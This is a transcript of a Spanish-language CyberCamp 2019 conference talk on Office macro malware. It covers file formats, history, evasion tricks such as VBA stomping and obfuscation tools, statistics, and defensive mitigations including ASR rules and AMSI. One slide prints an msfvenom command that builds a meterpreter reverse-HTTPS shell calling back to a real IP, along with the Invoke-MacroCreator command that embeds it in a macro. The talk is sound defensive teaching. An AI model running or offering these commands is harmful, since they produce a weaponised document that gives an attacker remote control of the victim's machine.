macro problemas, micro soluciones · 2020. 4. 28. · el uso de comentarios profusos… macros...

44
#CyberCamp19 MACRO PROBLEMAS MICRO SOLUCIONES El mundo del malware de macro y sus soluciones

Upload: others

Post on 04-Sep-2020

5 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

#CyberCamp19

MACRO PROBLEMAS MICRO SOLUCIONES

El mundo del malware de macro y sus soluciones

Page 2: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

Índice 1.Antecedentes 2. Ataques 3. Curiosidades 4. Estadísticas 5. Soluciones

Page 3: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

#CyberCamp19

Sergio de los Santos Director de innovación en ciberseguridad en

Telefónica Digital (ElevenPaths)

Page 4: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

ANTECEDENTES:

UN REPASO A LOS VECTORES DE ATAQUE

Page 5: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

El peligro de las macros

Page 6: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

¿Por qué las macros?

Page 7: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

Por qué las macros • Son fáciles de esconder.

• Las macros son legítimas, aun deshabilitadas por defecto, es fácil que el usuario las habilite.

• Más complejo el sandboxing para emularlas.

• Se envían por spam, por lo que habitualmente solo se analizan estáticamente.

• El usuario no piensa que un documento u hoja de cálculo pueda llegar a ser peligroso.

• A los atacantes no les queda otra…

Page 8: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

Dentro de la macro • PROJECT: flujo (fichero). Es como el fichero de configuración.

• VBA_PROJECT: flujo con las instrucciones para el motor VBA. Sin documentar.

• Dir: Documentado. Comprimido y tiene el layout del proyecto.

• Module streams: VBA/ThisDocument/NewMacros/…/__SPR_1/Module1> Contiene el código que se ejecutará. Cada modulo se compone: • PerformanceCache. Sin documentar.

• CompressedSourceCode. Código fuente de la macro comprimido.

Page 9: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

Basadas en formatos Open XML posteriores a 2007 cuyas extensiones son .docx o .xlsx, por ejemplo.

Estos formatos son en realidad archivos en formato ZIP, que contienen el mimo objeto COM a modo de macro, además de una configuración estructurada fundamentalmente en XML.

Formatos de documentos Zip con objeto OLE o COM (el .bin) dentro.

OPENXML

Page 10: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

Basados en formatos propios de Microsoft anteriores a 2007 con extensiones del tipo .doc o .xls. En estos formatos, las macros se almacenan en un directorio "Macro" que contienen a su vez el objeto COM. En concreto el Compound File Binary Format (CFBF) (que es una implementación particular de un objeto COM).

Formatos de documentos VBA se compila en P-Code y se almacena en el doc de Office como un flujo separado en un objeto OLE o COM

DOC “CLÁSICO”

Page 11: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

FORMATO

Formatos de documentos Es texto plano, y la macro se añade como un campo binario pero en Base64

“RARO” Microsoft Office XML. No confundir con Office OpenXML.

Microsoft Office XML, por el contrario, es puro XML, plano, se activó en Microsoft sobre 2002, cuando querían abandonar su formato propio, pero todavía no estaban seguros de adoptar el estándar que tomaron en 2007.

Page 12: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

Dentro de la macro. Otros Formatos

Como método de seguridad adicional .DOCM implica que un documento contiene macros, y su icono incluye un signo de advertencia. Sin embargo, las suites Office actuales son compatibles con el formato .DOC, por lo que sigue siendo utilizado por atacantes.

Page 13: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

Un poco de historia: 1997 - 2003 El malware de macro se vuelve muy popular. Picos de infección de hasta el 20% de todos los sistemas

conectados a Internet a través de Melissa, como paradigma de malware de macro con mayor difusión.

Las razones de este éxito del malware de macro son varias:

Baja concienciación en seguridad

El software ofimático más popular (Office 97), ejecutaba macros por defecto, incluso de documentos desconocidos

no estaban preparados para contener amenazas de este tipo.

Los SO más populares (Windows 98 y XP) carecían de las medidas de seguridad básicas para contener el problema. Los sistemas antivirus

Page 14: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

Un poco de historia: 2003 - 2013 El malware de macro cae en una especie de letargo y pierde popularidad en favor de otros métodos de infección. Las razones podrían deberse a:

El software ofimático Los creadores de malware comienzan a más popular del decantarse por el malware que se ejecuta a momento (Office 2003), través de exploits en el navegador y otros deja de ejecutar las programas (plugins como Java o Flash), macros por defecto. que no requiere intervención alguna del

usuario.

Page 15: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

ingeniería social una buenafórmula para sortear el problemade las macros deshabilitadas por

Los navegadores comienzan amejorar su seguridadconsiderablemente, cada vezresulta más complejo explotarvulnerabilidades de formaautomática sin interacción porparte del usuario.

Un poco de historia: 2014 -El malware de macro vuelve a resurgir con fuerza, esta vez como método de descarga de ejecutables o contenedor de binarios en su interior que se encargan de ensamblar las macros. Las razones para este resurgimiento podrían deberse a: Nuevo paradigma: las macros son el vehículo de infección, no el fin en sí mismo. A los creadores de malware les resulta más sencillo eludir a los antivirus si llegan al sistema en forma de macro oculta en documentos.

Los atacantes encuentran en la

defecto. El usuario las habilita si se le hace pensar que obtendrá un beneficio a cambio.

Ubicuidad de powershell, que aumenta las posibilidades de infecciones “fileless”.

Page 16: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

ATAQUES:ALGUNAS FÓRMULAS CURIOSAS

Page 17: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

Excel 4.0 (XLM macros)… de 1992, antes que VBA Una antiquísima fórmula de macros… obviamente todavía soportada. Prácticamente fileless gracias a powershell Se basa en escribir EJEC en celdas. Y Auto_open cell en vez de Sub Auto_Open Formato BIFF (BinaryInterchange File Format) Se pueden llamar a procesos de librerías como kernel32… Se almacenan en los XML.

Page 18: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

CURIOSIDADES: ATAQUES REALES QUE HAN LLAMADO LA

ATENCIÓN

Page 19: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

Macros curiosas: Técnicas de enmascaramiento

El uso de comentarios profusos…

Macros legítimas entre otras maliciosas

Page 20: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

‘Invoke-MacroCreator’ Permite, con powershell, crear una macro para usar cualquier exploit de Metasploit. https://github.com/Arno0x/PowerShellScripts/tree/master/M acroCreator msfvenom -p windows/meterpreter/reverse_https LHOST=217.182.67.81 LPORT=443 -f raw Invoke-MacroCreator -i .\shellcode_lab_ovh.raw -t shellcode -d body -o 2 Se puede ofuscar a diferentes niveles con el valor -o

Page 21: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

Sistema de post-explotación, con capacidad de crear macros, y sobre todo, ofuscar con Invoke-Obfuscation. • ENCODING: para tipos ASCII, HEX, OCTAL, BINARY,

BXOR, ESPECIAL CHARACTER, WHITESPACE, SECURE STRING…

• STRING: concatena, reordena o pone del revés. • TOKENS: ofuscación de tipo STRING, COMMAND,

ARGUMENT, MEMBER, VARIABLE, TYPE, COMMENT, WHITESPACE, ALL

• LAUNCHER: Elige cómo lanzar realmente el comando powershell. Ejs: CMD, WMIC, MSHTA, etc.

Empire Framework

Page 22: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

Esconderse en Ribbon

Page 23: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

Camufladas, no ofuscadas. Escondidas en metadatos

Page 24: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

0

Tracking Mac https://diario-elevenlabs.e-paths.com/macro/getDetails?hash=ca52f866d40549550315d064ff 41603a32944607cf343e2298feb117cb91a3&page=0&pageLength https://diario-elevenlabs.e-paths.com/macro/getDetails?hash=6e9fd7fa45df2b93fc04ac1c2eb 8736966dc1fcb95bd4aa957cfb5290cf6b4&page=0&pageLength=1

https://diario-elevenlabs.e-paths.com/macro/getDetails?hash=3531c08452beac01a1c298a60 c01c8be79d0c044b0ac69f9b684fb7a94e587&page=0&pageLength 0

Page 25: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

Custom Macros (I)

Page 26: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

Custom Macros (II). Skype

Page 27: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

MindBlowing

La macro descarga un csproj Compila al vuelo con msbuild Descifra el .net con una clave que coge de un registro TXT de un DNS.

Page 28: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

Ofuscación DOS Técnica basada en comandos DOS (programación BAT) que se ofusca a sí misma mediante ciclos, variables de entorno y composición de nombres ingeniosa

Page 29: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

VPA Stomping En el .bin, se almacena el P-code compilado, pero… también el código fuente. ¿Por qué?

¿Y si machacamos el código fuente y dejamos solo el compilado?

Problema: Si la versión del motor no fuera la misma, entonces tomaría el código fuente y lo compilaría al vuelo para esa versión. Así que es importante que coincidan

Page 30: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

Evil Clippy La especialidad de Evil Clippy es el “VBA stomping”. Se aprovecha del PerformanceCache. Si los datos en _VBA_PROJECT son los mismos que la versión de Office donde se ejecuta, aprovecha la parte compilada, y se ignora el código fuente. La herramienta facilita toda la operativa, incluso saber la versión concreta de Office y su arquitectura. Así, reemplaza el Código Fuente por algo inocuo y será ignorado, lo que permite eludir antivirus. Para conseguirlo puede automatizar el enviar a un servidor la versión, gracias a un truco del template.

Page 31: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

ESTADÍSTICAS: ALGUNOS NÚMEROS

Page 32: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

Estadísticas: Reutilización de macros. Bastante Unicidad

76,24%

8,67%

3,89% 1,97% 1,38% 2,84% 2,00% 0,94% 0,62% 1,86%

1 2 3 4 5 6 TO 8 9 TO 12 13 TO 15 16 TO 20 MORE THAN 20

% Macros en documentos

Page 33: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

Algunos datos interesantes

Page 34: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

macros 24,08%

27,36%

11,47%

5,53%

3,76%

7,75%

4,38%

2,66% 3,32%

9,69%

1

G % Macros en documentos ( W)

2 3 4 5 6 7 8 9 10

Estadísticas: Número de % Macros en documentos (MW)

33,76%

20,03% 20,43%

5,49%

8,42%

6,77%

1,29% 1,44% 1,47% 0,89%

1 2 3 4 5 6 7 8 9 10

Page 35: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

SOLUCIONES: NO SON TAN DIFÍCILES

Page 36: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

Mitigaciones •Evaluar seriamente la activación de logs en powershell. •Asociación de extensiones.

o Magic number, en vez de extensiones… MEC. •Deshabilitar las macros, de verdad. •Evaluar el uso de Attack Surface Reduction. •Confiar en AMSI.

Page 37: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

Deshabilitar las macros, de verdad

1.Descarga plantillas: (link: https://www.microsoft.com/en-us/download/details.aspx?id=4 9030) microsoft.com/en-us/download… 2.Copia los .ADMX a c:\Windows\PolicyDefinitions\ 3.Configura gpedit.msc

Page 38: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

Evitar la apertura de ciertos tipos de ficheros

Page 39: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

Windows 10 to the rescue ASR, una serie de directivas para bloquear ciertos comportamientos peligrosos. (No confundir con el sistema de protección Windows Defender Exploit Guard (heredado de EMET)) Reglas ASR útiles número 1: •Bloquear todas las aplicaciones de Office para que no creen procesos secundarios (Block all Office applications from creating child processes): Add-MpPreference -AttackSurfaceReductionRules_Ids D4F940AB-401B-4EfC-AADC-AD5F3C50688A -AttackSurfaceReductionRules_Actions Enable

Page 40: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

Windows 10 to the rescue

Regla ASR útil número 2: Bloquear llamadas de API de Win32 desde macros de Office (Block Win32 API calls from Office macro): Add-MpPreference -AttackSurfaceReductionRules_Ids 92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7B -AttackSurfaceReductionRules_Actions Enable

Page 41: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

Windows 10 to the rescue Reglas ASR útil número 3: Bloquear proceso creaciones originados desde comandos PsExec y WMI Esta contramedida también es capaz de detener el WMI cuando se encuentra dentro de las macros de Office. Ahora sí que es efectivo para detener las macros WMI. Add-MpPreference -AttackSurfaceReductionRules_Ids d1e49aac-8f56-4280-b9ba-993a6d77406c -AttackSurfaceReductionRules_Actions Enable

Page 42: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

AMSI

¿No sería maravilloso cazar el malware en memoria, a través del análisis de lo que pase por el intérprete de turno? AMSI (solo en Windows 10) es lo que pretende. Por ahora en powershell y Office 365. ¡Antes de tocar disco!

Page 43: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

•Las macros nunca se fueron.

•La retrocompatibilidad, siempre una amenaza.

•Tenemos más fórmulas para defendernos de las que pensamos.

Conclusiones

Page 44: Macro Problemas, micro soluciones · 2020. 4. 28. · El uso de comentarios profusos… Macros legítimas entre otras maliciosas ‘Invoke-MacroCreator’ Permite, con powershell,

GRACIAS

@CybercampES #CyberCamp19